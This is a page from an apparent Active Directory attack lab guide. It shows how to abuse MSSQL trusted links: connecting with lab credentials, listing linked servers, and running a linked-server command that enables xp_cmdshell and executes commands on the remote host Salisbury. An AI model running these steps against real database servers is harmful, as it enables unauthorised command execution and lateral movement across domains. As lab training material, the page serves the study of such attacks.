> For the complete documentation index, see [llms.txt](https://watchdogsacademy.gitbook.io/attacking-active-directory/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://watchdogsacademy.gitbook.io/attacking-active-directory/mssql-servers-exploitation/mssql-trusted-links.md).

# MSSQL trusted links

* Another SQL abuse we could try on the lab, is the usage of mssql trusted links.

> Note that trusted link is also a forest to forest technique

* To abuse the links let’s connect with elena.lopez and use enum\_links

```
mssqlclient.py -windows-auth north.newyork.local/elena.lopez:princesa1@yonkers.north.newyork.local -show
```

```
enum_links
```

* This play the following queries :

```
EXEC sp_linkedservers
EXEC sp_helplinkedsrvlogin
```

<figure><img src="/files/iDqD2WyrgPhsniqVG600" alt=""><figcaption></figcaption></figure>

* As we can see a linked server exist with the name Salisbury  and a mapping exist with the user Elena.Lopez and sa on Salisbury.
* If we use the link we can get a command injection on Salisbury:

```
use_link Salisbury
enable_xp_cmdshell
xp_cmdshell whoami
```

* This play the following MSSQL commands :

```
EXEC ('select system_user as "username"') AT Salisbury
EXEC ('exec master.dbo.sp_configure ''show advanced options'',1;RECONFIGURE;exec master.dbo.sp_configure ''xp_cmdshell'', 1;RECONFIGURE;') AT Salisbury
EXEC ('exec master..xp_cmdshell ''whoami''') AT Salisbury
```

<figure><img src="/files/ydRhckoWKTjyCFf0ZX8P" alt=""><figcaption></figcaption></figure>

* We got a command injection on Salisbury.Maryland.local as maryland\sql\_svc\\